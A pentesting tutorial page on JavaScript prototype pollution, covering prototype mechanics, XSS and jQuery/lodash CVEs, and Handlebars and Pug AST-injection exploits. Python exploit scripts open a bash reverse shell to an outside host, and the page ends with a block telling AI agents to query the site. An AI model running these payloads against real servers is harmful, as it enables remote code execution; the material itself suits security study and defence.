# NodeJS - \_\_proto\_\_ & prototype Pollution

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## Objects in JavaScript <a href="#id-053a" id="id-053a"></a>

First of all, we need to understand `Object`in JavaScript. An object is simply a collection of key and value pairs, often called properties of that object. For example:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(389\)%20\(1\).png)

In Javascript, `Object`is a basic object, the template for all newly created objects. It is possible to create an empty object by passing `null`to `Object.create`. However, the newly created object will also have a type that corresponds to the passed parameter and inherits all the basic properties.

```javascript
console.log(Object.create(null)); // prints an empty object
```

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(360\).png)

Previously we learned that an Object in javascript is collection of keys and values, so it makes sense that a `null` object is just an empty dictionary: `{}`

## Functions / Classes in Javascript <a href="#id-55dd" id="id-55dd"></a>

In Javascript, the concepts of the class and the function are quite interrelated (the function itself acts as the constructor for the class and the actual nature has no concept of “class” in javascript). Let’s see the following example:

```javascript
function person(fullName, age) {
    this.age = age;
    this.fullName = fullName;
    this.details = function() {
        return this.fullName + " has age: " + this.age;
    }
}
```

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(361\).png)

```javascript
var person1 = new person("Satoshi", 70);
```

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(362\).png)

## Prototypes in JavaScript <a href="#id-3843" id="id-3843"></a>

One thing to note is that the prototype attribute can be changed/modified/deleted when executing the code. For example functions to the class can be dynamically added:

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(363\).png)

Functions of the class can also be modified (like `toString` or `valueOf` the following cases):

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(364\).png)

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(365\).png)

## Inheritance

In a prototype-based program, objects inherit properties/methods from classes. The classes are derived by adding properties/methods to an instance of another class or by adding them to an empty object.

Note that, if you add a property to an object that is used as the prototype for a set of objects (like the myPersonObj), the objects for which it is the prototype also get the new property, but that property is not printed unless specifically called on.

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(366\).png)

## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>

You should have already learned that **every object in JavaScript is simply a collection of key and value** pairs and that **every object inherits from the Object type in JavaScript**. This means that if you are able to pollute the Object type **each JavaScript object of the environment is going to be polluted!**

This is fairly simple, you just need to be able to modify some properties (key-value pairs) from and arbitrary JavaScript object, because as each object inherits from Object, each object can access Object scheme.

```javascript
function person(fullName) {
    this.fullName = fullName;
}
var person1 = new person("Satoshi");
```

From the previous example it's possible to access the structure of Object using the following ways:

```javascript
person1.__proto__.__proto__
person.__proto__.__proto__
```

So, as it was mentioned before, if now a property is added to the Object scheme, every JavaScript object will have access to the new property:

```javascript
function person(fullName) {
    this.fullName = fullName;
}
var person1 = new person("Satoshi");
//Add function as new property
person1.__proto__.__proto__.printHello = function(){console.log("Hello");}
person1.printHello() //This now works and prints hello
//Add constant as new property
person1.__proto__.__proto__.globalconstant = true
person1.globalconstant  //This now works and is "true"
```

So now each JS object will contain the new properties: the function `printHello` and the new constant `globalconstant`

## prototype pollution

This technique isn't as effective as the previous one as you cannot pollute the scheme of JS Object. But in cases where the **keyword `__proto__`is forbidden this technique can be useful**.

If you are able to modify the properties of a function, you can modify the `prototype` property of the function and **each new property that you adds here will be inherit by each object created from that function:**

```javascript
function person(fullName) {
    this.fullName = fullName;
}
var person1 = new person("Satoshi");
//Add function as new property
person.prototype.sayHello = function(){console.log("Hello");}
person1.sayHello() //This now works and prints hello
//Add constant as new property
person.prototype.newConstant = true
person1.newConstant //This now works and is "true"

//The same could be achieved using this other way:
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
person1.constructor.prototype.newConstant = true
```

In this case only the **objects created from the `person`** class will be affected, but each of them will now i**nherit the properties `sayHello` and `newConstant`**.

**There are 2 ways to abuse prototype pollution to poison EVERY JS object.**

The first one would be to pollute the property prototype of **Object** (as it was mentioned before every JS object inherits from this one):

```javascript
Object.prototype.sayBye = function(){console.log("bye!")}
```

If you manage to do that, each JS object will be able to execute the function `sayBye`.

The other way is to poison the prototype of a constructor of a dictionary variable like in the following example:

```javascript
something = {"a": "b"}
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
```

After executing that code, **each JS object will be able to execute the function `sayHey`**.

## Polluting other objects

### From a class to Object.prototype

In an scenario where you can **pollute an specific object** and you need to **get to `Object.prototype`** you can search for it with something like the following code:

```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
  if (window[key]?.constructor.prototype === Object.prototype) {
    console.log(key)
  }
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
  for(let key2 in document.querySelector('a')[key1]) {
    if (document.querySelector('a')[key1][key2] === window) {
      console.log(key1 + "." + key2)
    }
  }
}
```

### Array elements pollution

Note that as you can pollute attributes of objects in JS, if you have access to pollute an array you can also **pollute values of the array** accessible **by indexes** (note that you cannot overwrite values, so you need to pollute indexes that are somehow used but not written).

```javascript
c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
```

### Html elements pollution

When generating a HTML element via JS it's possible to **overwrite** the **`innerHTML`** attribute to make it write **arbitrary HTML code.** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).

{% code overflow="wrap" %}

```javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
```

{% endcode %}

## Examples

### Basic Example

So where’s the prototype pollution? It happens when there’s a bug in the application that makes it possible to overwrite properties of `Object.prototype`. Since every typical object inherits its properties from `Object.prototype`, we can change application behaviour. The most commonly shown example is the following:

```javascript
if (user.isAdmin) {   // do something important!}
```

Imagine that we have a prototype pollution that makes it possible to set `Object.prototype.isAdmin = true`. Then, unless the application explicitly assigned any value, `user.isAdmin` is always true!

![](https://research.securitum.com/wp-content/uploads/sites/2/2019/10/image-1.png)

For example, `obj[a][b] = value`. If the attacker can control the value of `a` and `value`, then he only needs to adjust the value of `a`to `__proto__`(in javascript, `obj["__proto__"]` and `obj.__proto__`are completely equivalent) then property `b` of all existing objects in the application will be assigned to `value`.

However, the attack is not as simple as the one above, according to [paper](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), we can only attack when one of the following three conditions is met:

* Perform recursive merge
* Property definition by path
* Clone object

### Override function

```python
customer.__proto__.toString = ()=>{alert("polluted")}
```

### Proto Pollution to RCE

{% content-ref url="/pages/Btl65CM5uieoeSwWlfa3" %}
[Prototype Pollution to RCE](/dashboard/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md)
{% endcontent-ref %}

## Client-side prototype pollution to XSS

{% content-ref url="/pages/irUgY1q6VNzuKY9a2TYu" %}
[Client Side Prototype Pollution](/dashboard/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md)
{% endcontent-ref %}

### CVE-2019–11358: Prototype pollution attack through jQuery $ .extend

$ .extend, if handled incorrectly, can change the properties of the object `prototype`(the template of the objects in the app). This attribute will then appear on all objects. Note that only the “deep” version (ie g) of $ .extened is affected.

Programmers often use this function to duplicate an object or fill in new properties from a default object. For example:

We can imagine `myObject`is an input field from the user and is serialized into the DB)

In this code, we often think, when running will assign the attribute `isAdmin`into the newly created object. But essentially, it is assigned directly to `{}` and then `{}.isAdmin` will be `true`. If after this code, we perform the following check:

```javascript
If (user.isAdmin === true) {
    // do something for admin
}
```

If the user has not yet existed ( `undefined`), the property`isAdmin`will be searched in its parent object, which is the Object added `isAdmin` with the value `true` above.

Another example when executed on JQuery 3.3.1:

```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true
```

These errors can affect a lot of Javascript projects, especially NodeJS projects, the most practical example is the error in Mongoose, the JS library that helps manipulate MongoDB, in December 2018.

### CVE-2018–3721, CVE-2019–10744: Prototype pollution attack through lodash

[Lodash](https://www.npmjs.com/package/lodash) is also a well-known library that provides a lot of different functions, helping us to write code more conveniently and more neatly with over 19 million weekly downloads. And It got the same problem as JQuery.

**CVE-2018–3721**

**CVE-2019–10744**

This bug affects all versions of Lodash, already fixed in version 4.17.11.

### Another tutorial with CVEs

{% embed url="<https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2>" %}

## AST Prototype Pollution

In NodeJS, AST is used in JS really often, as template engines and typescript etc.\
For the template engine, the structure is as shown above.

![img](https://blog.p6.is/img/2020/08/graph_3.jpg)

### Handlebars

Info taken from <https://blog.p6.is/AST-Injection/>

You can insert any string into `Object.prototype.pendingContent` to determine the possibility of an attack.\
This allows you to be sure that servers are using handlebars engine when a prototype pollution exists in a black-box environment.

```javascript
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->

...
appendContent: function appendContent(content) {
	if (this.pendingContent) {
		content = this.pendingContent + content;
	} else {
		this.pendingLocation = this.source.currentLocation;
	}

	this.pendingContent = content;
},
pushSource: function pushSource(source) {
	if (this.pendingContent) {
		this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
		this.pendingContent = undefined;
	}

	if (source) {
		this.source.push(source);
	}
}
...
```

This is done by the `appendContent` function of `javascript-compiler.js`\
`appendContent` is this.If `pendingContent` is present, append to the content and returns.

`pushSource` makes the `pendingContent` to `undefined`, preventing the string from being inserted multiple times.

**Exploit**

![img](https://blog.p6.is/img/2020/08/graph_5.jpg)

Handlebars work as shown in the graph above.

After lexer and parser generater AST, It passes to `compiler.js`\
We can run the template function compiler generated with some arguments. and It returns the string like “Hello posix” (when msg is posix)

```javascript
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->

case 36:
    this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
    break;
```

The parser in handlebars forces the value of a node whose type is NumberLiteral to always be a number through the Number constructor. However, you can insert a non-numeric string here using the prototype pollution.

```javascript
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->

function parseWithoutProcessing(input, options) {
  // Just return if an already-compiled AST was passed in.
  if (input.type === 'Program') {
    return input;
  }

  _parser2['default'].yy = yy;

  // Altering the shared object here, but this is ok as parser is a sync operation
  yy.locInfo = function (locInfo) {
    return new yy.SourceLocation(options && options.srcName, locInfo);
  };

  var ast = _parser2['default'].parse(input);

  return ast;
}

function parse(input, options) {
  var ast = parseWithoutProcessing(input, options);
  var strip = new _whitespaceControl2['default'](options);

  return strip.accept(ast);
}
```

First, look at the compile function, and it supports two ways of input, AST Object and template string.

when input.type is a `Program`, although the input value is actually string.\
Parser considers it’s already AST parsed by parser.js and send it to the compiler without any processing.

```javascript
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->

...
accept: function accept(node) {
    /* istanbul ignore next: Sanity code */
    if (!this[node.type]) {
        throw new _exception2['default']('Unknown type: ' + node.type, node);
    }

    this.sourceNode.unshift(node);
    var ret = this[node.type](node);
    this.sourceNode.shift();
    return ret;
},
Program: function Program(program) {
    console.log((new Error).stack)
    this.options.blockParams.unshift(program.blockParams);

    var body = program.body,
        bodyLength = body.length;
    for (var i = 0; i < bodyLength; i++) {
        this.accept(body[i]);
    }

    this.options.blockParams.shift();

    this.isSimple = bodyLength === 1;
    this.blockParams = program.blockParams ? program.blockParams.length : 0;

    return this;
}
```

The compiler given the AST Object (actually a string) send it to the `accept` method.\
and `accept` calls `this[node.type]` of Compiler.\
Then take body attribute of AST and use it for constructing function.

```javascript
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
        "type": "NumberLiteral",
        "value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
    }],
    "loc": {
        "start": 0,
        "end": 0
    }
}];


const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

/*
function (container, depth0, helpers, partials, data) {
    var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
        if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
            return parent[propertyName];
        }
        return undefined
    };

    return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
        "name": "undefined",
        "hash": {},
        "data": data,
        "loc": {
            "start": 0,
            "end": 0
        }
    })) != null ? stack1 : "");
}
*/
```

As a result, an attack can be configured like this. If you have gone through parser, specify a string that cannot be assigned to the value of NumberLiteral. But Injected AST processed, we can insert any code into the function.

**Example**

<https://github.com/hughsk/flat/issues/105>

```python
import requests

TARGET_URL = 'http://p6.is:3000'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
    "__proto__.type": "Program",
    "__proto__.body": [{
        "type": "MustacheStatement",
        "path": 0,
        "params": [{
            "type": "NumberLiteral",
            "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
        }],
        "loc": {
            "start": 0,
            "end": 0
        }
    }]
})

# execute
requests.get(TARGET_URL)
```

### Pug

More info in <https://blog.p6.is/AST-Injection/#Pug>

```python
import requests

TARGET_URL = 'http://p6.is:3000'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
    }
})

# execute
requests.get(TARGET_URL)
```

## What can I do to prevent?

* Freeze properties with Object.freeze (Object.prototype)
* Perform validation on the JSON inputs in accordance with the application’s schema
* Avoid using recursive merge functions in an unsafe manner
* Use objects without prototype properties, such as `Object.create(null)`, to avoid affecting the prototype chain
* Use `Map`instead of `Object`
* Regularly update new patches for libraries

## Reference

* <https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/>
* <https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l>
* <https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7>

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/pentesting-web/deserialization/nodejs-proto-prototype-pollution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
